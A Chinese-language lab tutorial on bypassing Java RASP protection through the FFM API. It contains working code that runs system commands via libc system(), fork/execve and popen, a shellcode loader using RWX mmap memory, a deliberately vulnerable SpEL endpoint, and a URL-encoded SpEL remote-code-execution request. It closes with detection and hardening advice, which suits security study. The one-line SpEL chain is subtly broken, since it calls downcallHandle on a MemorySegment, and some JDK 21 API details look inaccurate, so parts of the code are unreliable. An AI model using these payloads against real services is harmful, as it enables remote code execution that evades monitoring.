FFM API 绕过RASP防护教学
概述
本文档基于FFM API绕过RASP的技术文章,详细阐述Java Foreign Function & Memory (FFM) API如何绕过传统的RASP(运行时应用自保护)防护机制,并实现原生系统命令执行。通过多个实验逐步深入,从基本原理到实际利用,并最终提供防御策略。
一、引言
Java 命令执行的攻防对抗已持续十余年。从反序列化到JNDI注入,再到各类表达式注入,攻防双方围绕 Runtime.exec() 和 ProcessBuilder 这两个入口反复博弈。防守侧的RASP产品几乎都将这两个类的关键方法作为核心Hook点,配合进程行为审计,构建了严密的命令执行防线。
JDK 21引入了 Foreign Function & Memory API(JEP 442, Third Preview),其设计初衷是替代JNI,为Java提供高性能的本地互操作能力。但从安全角度看,这套API开辟了一条不经过传统Java API层的原生代码执行通道——通过FFM API直接调用glibc的 system() 函数执行命令,整个路径完全不触及 Runtime 或 ProcessBuilder,基于Java字节码插桩的RASP产品对此无感知。
更进一步,利用 mmap() 分配带有执行权限的内存区域并加载Shellcode,可以在JVM进程空间内直接执行机器码,不产生任何子进程,对主机入侵检测体系构成结构性挑战。
免责声明:本文内容仅供安全研究与授权渗透测试。利用本文技术对未授权系统进行攻击属于违法行为,由此产生的一切后果由行为人自行承担。
二、FFM API 核心原理
FFM API 由 java.lang.foreign 包提供,其核心组件如下:
| 核心类/接口 | 职责 | 攻击相关性 |
|---|---|---|
Linker |
Java 与本地代码的桥梁,提供 downcall(Java→Native)和 upcall(Native→Java)能力 | 核心入口,通过 nativeLinker() 获取 |
SymbolLookup |
在已加载的共享库中查找函数符号地址 | 定位 system()、mmap()等 libc 函数 |
FunctionDescriptor |
描述本地函数的参数和返回值类型 | 必须与目标 C 函数签名严格匹配 |
MemorySegment |
表示一段连续的内存区域(堆内或堆外) | 传递字符串参数、写入 Shellcode |
Arena |
管理 MemorySegment 的生命周期 |
控制分配的内存何时释放 |
ValueLayout |
定义基本数据类型的内存布局 | 构造 FunctionDescriptor时使用 |
2.1 调用流程
调用一个本地函数分为四步:
- 获取 Linker:
Linker.nativeLinker()获取当前平台链接器。 - 查找符号:通过
SymbolLookup在已加载的库中查找目标函数地址。 - 创建 MethodHandle:
downcallHandle(地址, FunctionDescriptor)得到可调用句柄。 - 分配参数并调用:通过
Arena分配堆外内存存放 C 字符串等参数,然后invoke()执行。
2.2 与 JNI 的关键差异
理解这个差异是理解RASP绕过的前提:
| 对比维度 | JNI | FFM API |
|---|---|---|
| 开发方式 | 需编写 C/C++ 代码,编译 .so/.dll |
纯 Java 代码,无需本地编译 |
| 部署依赖 | 需要 .so 文件落盘 |
无额外文件,直接调用系统已加载的库 |
| 安全审计 | 较容易识别(System.loadLibrary()调用、文件落盘) |
纯 Java 调用,不触发文件系统操作 |
| RASP 可见性 | 可 Hook System.loadLibrary() |
不经过任何已知 Hook 点 |
FFM API 的本质是在 JVM 进程内部,通过 MethodHandle 机制直接发起 Native 函数调用。调用路径为 downcallHandle → JVM adapter stub → libffi → 目标 C 函数,完全绕过 java.lang.Runtime 和 java.lang.ProcessBuilder 的代码路径。
三、环境搭建
3.1 环境概览
| 组件 | 版本 / 说明 |
|---|---|
| 操作系统 | Kali Linux 2026.1(攻击机兼靶机,可分离部署) |
| JDK | OpenJDK 21.0.2+13 |
| 构建工具 | Maven 3.9.x |
| 目标应用 | Spring Boot 3.2.5(内嵌 Tomcat) |
3.2 安装 JDK 21
在Kali Linux或其他Debian系发行版上安装OpenJDK 21:
sudo apt update
sudo apt install openjdk-21-jdk
安装后,通过 java -version 确认版本。
3.3 创建漏洞靶场应用
构建一个存在SpEL表达式注入漏洞的Spring Boot应用,作为后续远程利用的目标。
项目结构:
pom.xml: 定义项目依赖,包含Spring Boot Starter Web。VulnApplication.java: 主应用类。VulnController.java: 包含漏洞接口的控制器。
VulnController.java (漏洞接口):
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class VulnController {
@GetMapping("/eval")
public String eval(@RequestParam("exp") String exp) {
ExpressionParser parser = new SpelExpressionParser();
// 危险操作:将用户输入直接拼接到表达式解析
Object result = parser.parseExpression(exp).getValue();
return "Result: " + result;
}
}
3.4 编译与启动
- 编译项目:
mvn clean package - 运行应用:
java --enable-preview -jar target/ffm-vuln-app-1.0.0.jar
测试接口:
- 访问
http://localhost:8080/eval?exp=1%2B1,返回Result: 2。说明SpEL表达式注入点正常工作。
四、实验一:FFM API 直调 libc 执行系统命令
以独立Java程序演示FFM API调用libc system() 执行命令的完整过程。
4.1 完整代码
FfmSystemExec.java:
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
import static java.lang.foreign.ValueLayout.ADDRESS;
import static java.lang.foreign.ValueLayout.JAVA_INT;
public class FfmSystemExec {
public static void main(String[] args) throws Throwable {
// 1. 获取平台链接器
Linker linker = Linker.nativeLinker();
// 2. 在默认查找器中查找 system 函数
SymbolLookup stdlib = linker.defaultLookup();
MemorySegment systemAddr = stdlib.find("system").orElseThrow();
// 3. 描述 C 函数签名: int system(const char* command)
FunctionDescriptor systemDesc = FunctionDescriptor.of(JAVA_INT, ADDRESS);
MethodHandle systemHandle = linker.downcallHandle(systemAddr, systemDesc);
// 4. 分配内存,存放命令字符串
String cmd = "id";
try (Arena arena = Arena.ofConfined()) {
MemorySegment cmdSegment = arena.allocateFrom(cmd);
// 5. 调用 system()
int exitCode = (int) systemHandle.invoke(cmdSegment);
System.out.println("Exit code: " + exitCode);
}
}
}
4.2 编译与执行
# 编译 (注意JDK 21需启用预览特性)
javac --enable-preview --release 21 FfmSystemExec.java
# 运行
java --enable-preview FfmSystemExec
程序将执行 id 命令,并在控制台输出 Exit code: 0。
4.3 调用链逐层分析
| 步骤 | Java 层操作 | 底层行为 |
|---|---|---|
| 1 | Linker.nativeLinker() |
获取平台 Linker 实现(Linux 下为基于 libffi 的实现) |
| 2 | defaultLookup().find("system") |
本质是 dlsym(RTLD_DEFAULT, "system"),在进程符号表中查找 |
| 3 | downcallHandle(addr, desc) |
JVM 生成 adapter stub 代码,处理 Java/C 调用约定转换(System V AMD64 ABI) |
| 4 | systemHandle.invoke(cmdStr) |
adapter stub 直接跳转到 libc system() 的机器码入口 |
整个过程中没有任何代码涉及 java.lang.Runtime、java.lang.ProcessBuilder 或 java.lang.ProcessImpl。
从 JVM 角度看,这只是一次 MethodHandle.invoke() 调用。从操作系统角度看,system() 内部的 fork()+execve() 由 libc 发起,完全在 Java 字节码插桩的感知范围之外。
4.4 fork + execve 精细控制
system() 内部通过 /bin/sh -c 执行命令,进程树中会出现 sh 进程,可能被 EDR 捕获。直接调用 fork()+execve() 可以避免中间shell进程,实现更隐蔽的执行。
FfmStealthExec.java 核心代码片段:
// 查找 fork, execve, waitpid
MemorySegment forkAddr = stdlib.find("fork").orElseThrow();
MemorySegment execveAddr = stdlib.find("execve").orElseThrow();
MemorySegment waitpidAddr = stdlib.find("waitpid").orElseThrow();
// 创建 MethodHandle
MethodHandle forkHandle = linker.downcallHandle(forkAddr, FunctionDescriptor.of(JAVA_INT));
MethodHandle execveHandle = linker.downcallHandle(execveAddr,
FunctionDescriptor.of(JAVA_INT, ADDRESS, ADDRESS, ADDRESS));
MethodHandle waitpidHandle = linker.downcallHandle(waitpidAddr,
FunctionDescriptor.of(JAVA_INT, JAVA_INT, ADDRESS, JAVA_INT));
int pid = (int) forkHandle.invoke();
if (pid == 0) { // 子进程
// 准备 execve 参数
String[] cmdArgs = {"/bin/sh", "-c", "id"};
try (Arena arena = Arena.ofConfined()) {
MemorySegment argsSegment = arena.allocateArray(ADDRESS, cmdArgs.length + 1);
for (int i = 0; i < cmdArgs.length; i++) {
argsSegment.setAtIndex(ADDRESS, i, arena.allocateFrom(cmdArgs[i]));
}
argsSegment.setAtIndex(ADDRESS, cmdArgs.length, MemorySegment.NULL);
execveHandle.invoke(arena.allocateFrom("/bin/sh"), argsSegment, MemorySegment.NULL);
}
System.exit(1); // execve 失败才执行
} else { // 父进程
waitpidHandle.invoke(pid, MemorySegment.NULL, 0);
}
关键点:
fork()后子进程继承了 JVM 的多线程状态,但只有调用fork()的线程被保留。子进程应尽快调用execve()完成进程替换。- 增加了
waitpid()确保父进程(JVM)等待子进程执行完毕后再继续,避免产生僵尸进程。
五、实验二:strace 验证调用链差异
通过 strace 跟踪两种命令执行方式的系统调用序列,直观展示路径差异。
5.1 传统 Runtime.exec() 的 strace 输出
TraditionalExec.java:
public class TraditionalExec {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("id");
}
}
编译并用 strace 跟踪:
javac TraditionalExec.java
strace -f -e trace=process java TraditionalExec
关键输出:
[pid 12345] clone3(flags=CLONE_VM|CLONE_VFORK, child_tid=0x...) = 12346
[pid 12346] execve("/usr/bin/id", ["id"], 0x...) = 0
这是 ProcessImpl.forkAndExec() 的底层实现,JNI 方法发起了 clone3(CLONE_VFORK) 创建子进程。RASP 可以在 Java 层对此进行拦截。
5.2 FFM API 方式的 strace 输出
运行实验一的 FfmSystemExec:
strace -f -e trace=process java --enable-preview FfmSystemExec
关键输出:
[pid 54321] clone3(flags=CLONE_VM|CLONE_VFORK, child_tid=0x...) = 54322
[pid 54322] execve("/bin/sh", ["sh", "-c", "id"], 0x...) = 0
差异对比:
| 维度 | 传统 Runtime.exec() | FFM API system() |
|---|---|---|
| clone3 发起者 | ProcessImpl.forkAndExec() (JNI) |
libc system() (Native) |
| execve 目标 | 直接 /usr/bin/id |
先 /bin/sh,再由 sh 派生 id |
| 进程链 | java → id(2层) | java → sh → id(3层) |
| Java 层入口 | ProcessBuilder.start() → ProcessImpl |
MethodHandle.invoke() → 无 Java 类参与 |
结论:从操作系统层面看,FFM API 方式不经过 Java 层已知的进程创建 API,RASP 无法在 Java 字节码层拦截。
六、实验三:RASP 绕过对比验证
通过编写轻量级RASP Agent验证其对不同命令执行方式的拦截效果。
6.1 RASP Agent 实现
此Agent通过 SecurityManager.checkExec() 拦截所有通过 Runtime.exec() / ProcessBuilder 发起的命令执行。JDK 17+ 需显式开启 SecurityManager。
SimpleRasp.java:
import java.lang.instrument.Instrumentation;
import java.security.Permission;
public class SimpleRasp {
public static void premain(String args, Instrumentation inst) {
System.setSecurityManager(new SecurityManager() {
@Override
public void checkExec(String cmd) {
System.out.println("[RASP BLOCKED] Command execution attempted: " + cmd);
throw new SecurityException("RASP blocked command: " + cmd);
}
});
}
}
MANIFEST.MF:
Manifest-Version: 1.0
Premain-Class: SimpleRasp
编译打包:
javac SimpleRasp.java
jar cvfm SimpleRasp.jar MANIFEST.MF SimpleRasp.class
6.2 对比测试程序
RaspBypassTest.java:
public class RaspBypassTest {
public static void main(String[] args) throws Throwable {
System.out.println("=== Testing Runtime.exec ===");
try {
Runtime.getRuntime().exec("whoami");
} catch (SecurityException e) {
System.out.println(e.getMessage());
}
System.out.println("\n=== Testing ProcessBuilder ===");
try {
new ProcessBuilder("whoami").start();
} catch (SecurityException e) {
System.out.println(e.getMessage());
}
System.out.println("\n=== Testing FFM API ===");
// 此处插入实验一的 FFM API 调用 system("whoami") 的代码
// ... (调用代码略)
}
}
6.3 执行与结果
编译并挂载Agent运行:
javac --enable-preview --release 21 RaspBypassTest.java
java -javaagent:SimpleRasp.jar --enable-preview RaspBypassTest
预期输出:
=== Testing Runtime.exec ===
[RASP BLOCKED] Command execution attempted: whoami
RASP blocked command: whoami
=== Testing ProcessBuilder ===
[RASP BLOCKED] Command execution attempted: whoami
RASP blocked command: whoami
=== Testing FFM API ===
uid=1000(user) # 命令成功执行,RASP无拦截
6.4 结果分析
| 执行方式 | RASP 拦截结果 | 命令是否执行 | 原因 |
|---|---|---|---|
Runtime.exec() |
已拦截 | 否 | 触发 SecurityManager.checkExec() |
ProcessBuilder.start() |
已拦截 | 否 | 内部调用路径同上 |
FFM API → system() |
未拦截 | 是 | 不经过 Java 进程创建 API |
七、实验四:Shellcode 内存加载与执行
system() 绕过了Java层RASP,但内部仍会 fork 子进程。更进一步,通过 FFM API 调用 mmap() 分配可执行内存,直接在 JVM 进程内执行 Shellcode,不产生任何子进程。
7.1 技术原理
- 通过 FFM API 调用
mmap(),以PROT_READ|PROT_WRITE|PROT_EXEC(0x7) 权限分配内存。 - 将 Shellcode 字节写入该内存。
- 将内存地址作为函数指针,通过
downcallHandle()包装为MethodHandle并调用。
7.2 Shellcode 说明
使用一段无害的 x86_64 Linux Shellcode,功能是调用 write(1, "FFM_PWN\n", 8) 向标准输出打印字符串后正常返回。
手写汇编对照:
BITS 64
section .text
global _start
_start:
xor eax, eax
mov al, 1 ; syscall number for write
xor edi, edi
inc edi ; fd = 1 (stdout)
lea rsi, [rel msg] ; buffer
xor edx, edx
mov dl, 8 ; count = 8
syscall
ret
msg:
db "FFM_PWN", 0x0a
编译后的机器码字节序列:
byte[] shellcode = {
(byte)0x31, (byte)0xc0, // xor eax, eax
(byte)0xb0, (byte)0x01, // mov al, 1
(byte)0x31, (byte)0xff, // xor edi, edi
(byte)0xff, (byte)0xc7, // inc edi
(byte)0x48, (byte)0x8d, (byte)0x35, (byte)0x08, (byte)0x00, (byte)0x00, (byte)0x00, // lea rsi, [rip+0x08]
(byte)0x31, (byte)0xd2, // xor edx, edx
(byte)0xb2, (byte)0x08, // mov dl, 8
(byte)0x0f, (byte)0x05, // syscall
(byte)0xc3, // ret
(byte)0x46, (byte)0x46, (byte)0x4d, (byte)0x5f, (byte)0x50, (byte)0x57, (byte)0x4e, (byte)0x0a // "FFM_PWN\n"
};
关键计算:lea rsi, [rip+0x08] 中的 0x08 是从下一条指令(mov edx)到字符串数据的距离。lea 指令执行时 RIP 指向下一条指令(偏移17),字符串起始于偏移25,差值 = 25 - 17 = 8 = 0x08。偏移错误会导致段错误。
7.3 完整利用代码
FfmShellcodeLoader.java:
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
import static java.lang.foreign.ValueLayout.ADDRESS;
import static java.lang.foreign.ValueLayout.JAVA_LONG;
public class FfmShellcodeLoader {
public static void main(String[] args) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup libc = linker.defaultLookup();
// 1. 查找 mmap
MemorySegment mmapAddr = libc.find("mmap").orElseThrow();
FunctionDescriptor mmapDesc = FunctionDescriptor.of(ADDRESS, ADDRESS, JAVA_LONG, JAVA_LONG, JAVA_LONG, JAVA_LONG, JAVA_LONG);
MethodHandle mmap = linker.downcallHandle(mmapAddr, mmapDesc);
// 2. 分配可读写执行的内存 (PROT_READ|PROT_WRITE|PROT_EXEC = 0x7, MAP_ANONYMOUS|MAP_PRIVATE = 0x22)
long size = 1024;
MemorySegment code = (MemorySegment) mmap.invoke(
MemorySegment.NULL, // addr
size, // length
7L, // prot
0x22L, // flags
-1L, // fd
0L // offset
);
// 重要:reinterpret 扩展可访问范围
MemorySegment codeSegment = code.reinterpret(size);
// 3. 写入 Shellcode
byte[] shellcode = {...}; // 使用7.2节的字节序列
for (int i = 0; i < shellcode.length; i++) {
codeSegment.set(ValueLayout.JAVA_BYTE, i, shellcode[i]);
}
// 4. 将内存地址转为函数句柄并调用
FunctionDescriptor voidDesc = FunctionDescriptor.ofVoid();
MethodHandle shellcodeHandle = linker.downcallHandle(codeSegment, voidDesc);
shellcodeHandle.invoke();
// 5. 清理 (可选)
MemorySegment munmapAddr = libc.find("munmap").orElseThrow();
MethodHandle munmap = linker.downcallHandle(munmapAddr, FunctionDescriptor.of(JAVA_LONG, ADDRESS, JAVA_LONG));
munmap.invoke(codeSegment, size);
}
}
7.4 编译执行
javac --enable-preview --release 21 FfmShellcodeLoader.java
java --enable-preview FfmShellcodeLoader
输出:FFM_PWN。该字符串由 Shellcode 通过 write 系统调用直接写到 stdout,JVM 执行完毕后继续正常运行。
7.5 关键技术细节
- Shellcode 执行后 JVM 为什么不会崩溃? 关键在于 Shellcode 末尾的
ret指令。downcallHandle()生成的 adapter stub 遵循 System V AMD64 ABI,调用目标函数前保存了调用栈帧。Shellcode 通过ret正常返回后,控制流交还给 adapter stub,再返回到 Java 层的invoke()调用点。只要 Shellcode 不破坏 callee-saved 寄存器(rbx,rbp,r12-r15)和栈指针,JVM 就能保持稳定。 - mmap 返回值的处理:FFM API 中,
downcall返回ADDRESS类型时得到的MemorySegment默认是零长度的,不能直接读写。必须调用.reinterpret(newSize)扩展其可访问范围。忘记此步骤会在写入时抛出IndexOutOfBoundsException。
八、实验五:SpEL 注入场景下的 FFM 利用链
本节将视角切换到远程利用场景:通过Web应用的SpEL注入漏洞,远程构造FFM API利用链。
8.1 传统 SpEL RCE Payload
常规的SpEL命令执行Payload:T(java.lang.Runtime).getRuntime().exec('id')。这条payload在有RASP防护或WAF的环境中会被拦截,因为包含 Runtime、exec 等敏感关键字。
8.2 FFM API 利用链构造
SpEL支持通过 T() 操作符引用Java类型和静态方法,支持链式调用。完整的FFM API利用链可以在单条表达式中构造:
T(java.lang.foreign.Linker).nativeLinker()
.defaultLookup()
.find("system").get()
.downcallHandle(
T(java.lang.foreign.FunctionDescriptor).of(
T(java.lang.foreign.ValueLayout.JAVA_INT),
T(java.lang.foreign.ValueLayout.ADDRESS)
)
)
.invoke(
T(java.lang.foreign.Arena).ofAuto().allocateFrom("id")
)
逐层拆解:
| 层级 | SpEL 片段 | 功能 |
|---|---|---|
| 1 | T(j.l.f.Linker).nativeLinker() |
获取本地链接器 |
| 2 | .defaultLookup().find('system').get() |
查找 libc system 函数地址 |
| 3 | FunctionDescriptor.of(JAVA_INT, ADDRESS) |
描述 int system(const char*) 签名 |
| 4 | .downcallHandle(addr, desc) |
创建指向 system() 的 MethodHandle |
| 5 | Arena.ofAuto().allocateFrom('id') |
分配堆外内存存放命令字符串 |
| 6 | .invoke(memSeg) |
触发命令执行 |
注意:find() 返回 Optional<MemorySegment>,这里用 .get() 而非 .orElseThrow(),因为SpEL对lambda表达式支持有限。在确认目标环境是Linux的情况下,system 符号必然存在,直接 .get() 即可。
8.3 远程利用步骤
确保靶场应用已启动。
Step 1:确认注入点正常工作
访问:http://localhost:8080/eval?exp=1%2B1,返回 Result: 2。
Step 2:发送 FFM API 利用链
将上述长表达式拼接为一行并URL编码后发送:
GET /eval?exp=T(java.lang.foreign.Linker).nativeLinker().defaultLookup().find(%22system%22).get().downcallHandle(T(java.lang.foreign.FunctionDescriptor).of(T(java.lang.foreign.ValueLayout.JAVA_INT),T(java.lang.foreign.ValueLayout.ADDRESS))).invoke(T(java.lang.foreign.Arena).ofAuto().allocateFrom(%22id%22)) HTTP/1.1
Host: localhost:8080
攻击端 HTTP 响应:Result: 0 (system返回值)。
靶场服务端控制台输出:uid=1000(user) ...。
system() 的输出打到了靶场进程的 stdout,HTTP 响应只返回了 system() 的返回值 0。
8.4 带回显的改进:popen + fgets
要在HTTP响应中获取命令输出,需要使用 popen() + fgets() 组合。以下为独立的Java验证程序:
FfmPopenExec.java 核心逻辑:
// 查找 popen, fgets, pclose
MemorySegment popenAddr = libc.find("popen").orElseThrow();
MemorySegment fgetsAddr = libc.find("fgets").orElseThrow();
MemorySegment pcloseAddr = libc.find("pclose").orElseThrow();
MethodHandle popen = linker.downcallHandle(popenAddr, FunctionDescriptor.of(ADDRESS, ADDRESS, ADDRESS));
MethodHandle fgets = linker.downcallHandle(fgetsAddr, FunctionDescriptor.of(ADDRESS, ADDRESS, JAVA_INT, ADDRESS));
MethodHandle pclose = linker.downcallHandle(pcloseAddr, FunctionDescriptor.of(JAVA_INT, ADDRESS));
try (Arena arena = Arena.ofConfined()) {
MemorySegment cmd = arena.allocateFrom("id");
MemorySegment mode = arena.allocateFrom("r");
MemorySegment pipe = (MemorySegment) popen.invoke(cmd, mode);
MemorySegment buffer = arena.allocate(256);
StringBuilder output = new StringBuilder();
while (true) {
MemorySegment line = (MemorySegment) fgets.invoke(buffer, 256, pipe);
if (line.address() == 0) break;
output.append(line.reinterpret(256).getString(0));
}
int ret = (int) pclose.invoke(pipe);
System.out.println("Output: " + output);
}
与之前 system() 只能在服务端 stdout 输出不同,popen()+fgets() 组合把命令输出完整捕获到了 Java 的 StringBuilder 中。这意味着在 SpEL 注入场景下,攻击者可以通过 HTTP 响应直接拿到命令回显,不需要额外的带外通道。
8.5 利用链对比
| 维度 | 传统 SpEL RCE | FFM API SpEL RCE |
|---|---|---|
| 入口 | T(Runtime).exec() |
T(Linker).nativeLinker().downcallHandle(...) |
| 底层调用链 | Runtime → ProcessBuilder → ProcessImpl → forkAndExec | Linker → adapter stub → libffi → libc |
| RASP 可见 | 完全可见 | 不可见 |
| WAF 关键字 | Runtime、exec、getRuntime | Linker、foreign、downcallHandle |
| 前置条件 | 无 | JVM 启用 --enable-preview (JDK21) 或 JDK 22+ |
九、防御方案与检测策略
9.1 JVM 层:限制 FFM API 使用权限(根因阻断)
- JDK 21:FFM API 处于 Preview 阶段,生产环境不启用
--enable-preview参数即可从根源上阻断。 - JDK 22+:FFM API 已正式转正,但引入了
--enable-native-access参数控制哪些模块可以进行 Native 调用:# 完全禁止 java --enable-native-access=NONE -jar app.jar # 仅允许指定模块 java --enable-native-access=ALL-UNNAMED -jar app.jar
9.2 RASP 层:扩展 Hook 覆盖范围
RASP 产品需要将 FFM API 关键入口纳入监控:
| 新增 Hook 点 | 类 / 方法 | 监控目的 |
|---|---|---|
| 链接器获取 | Linker.nativeLinker() |
检测 Native 链接器获取行为 |
| 符号查找 | SymbolLookup.find(String) |
检测敏感函数(system、execve、mmap、popen)查找 |
| Downcall 创建 | Linker.downcallHandle() |
检测 Native 函数调用句柄创建 |
| 库加载 | SymbolLookup.libraryLookup() |
检测额外共享库加载 |
实施建议:对 SymbolLookup.find() 插桩,维护敏感函数黑名单(system, execve, popen, mmap, dlopen, mprotect),匹配时触发告警或阻断。
9.3 主机层:eBPF 监控
内核级监控是对抗 Shellcode 加载最有效的手段。通过 eBPF 挂载到 mmap 系统调用,检测带 PROT_EXEC 标志的内存分配:
监控脚本示例 (bpftrace):
#!/usr/bin/bpftrace
kprobe:do_mmap
{
$prot = (int32)arg(2);
if ($prot & PROT_EXEC) {
printf("PID %d (%s) attempted to allocate executable memory. prot=0x%x\n", pid, comm, $prot);
}
}
在另一个终端运行 Shellcode 加载实验时,bpftrace 会输出类似:
PID 54321 (java) attempted to allocate executable memory. prot=0x7
Java 进程正常运行时几乎不会分配 prot=0x7(RWX)的内存,因此该检测规则误报率极低。JIT 编译器分配的代码缓存使用 mmap + 后续 mprotect 的方式,不会一次性申请 RWX。
9.4 WAF 层:更新规则库
Web 应用防火墙需要新增 FFM API 关键字检测:
- 关键字扩展:在现有的命令执行规则中,加入
Linker、nativeLinker、downcallHandle、SymbolLookup、Arena等 FFM API 核心类名和方法名。 - 语法感知检测:针对 SpEL 表达式,检测
T(java.lang.foreign开头的类引用。
十、总结
语言层面每引入一种新的 Native 交互能力,就可能产生新的绕过路径。FFM API 提供了一种完全绕过传统Java层RASP监控的原生代码执行能力。防御方需要从多层面进行防护:
- 源头控制:在JVM启动参数上严格限制FFM API的使用权限。
- RASP演进:从仅监控
Runtime/ProcessBuilder扩展到监控java.lang.foreign包下的关键操作。 - 内核监控:利用 eBPF 等底层技术监控可疑的系统调用行为(如分配可执行内存)。
- WAF更新:在应用层检测利用FFM API特征的攻击载荷。
更持久的方案是监控底层行为——无论上层通过什么 API 发起调用,最终的系统调用行为(execve、mmap+PROT_EXEC)是不变的。eBPF 在这个方向上的价值会越来越大。Java 从一个纯托管的沙箱语言,逐步演变为拥有直接 Native 互操作能力的系统级语言。安全防护的思路需要随之演进——从 Java 层的 API 拦截,向内核层的行为监控下沉。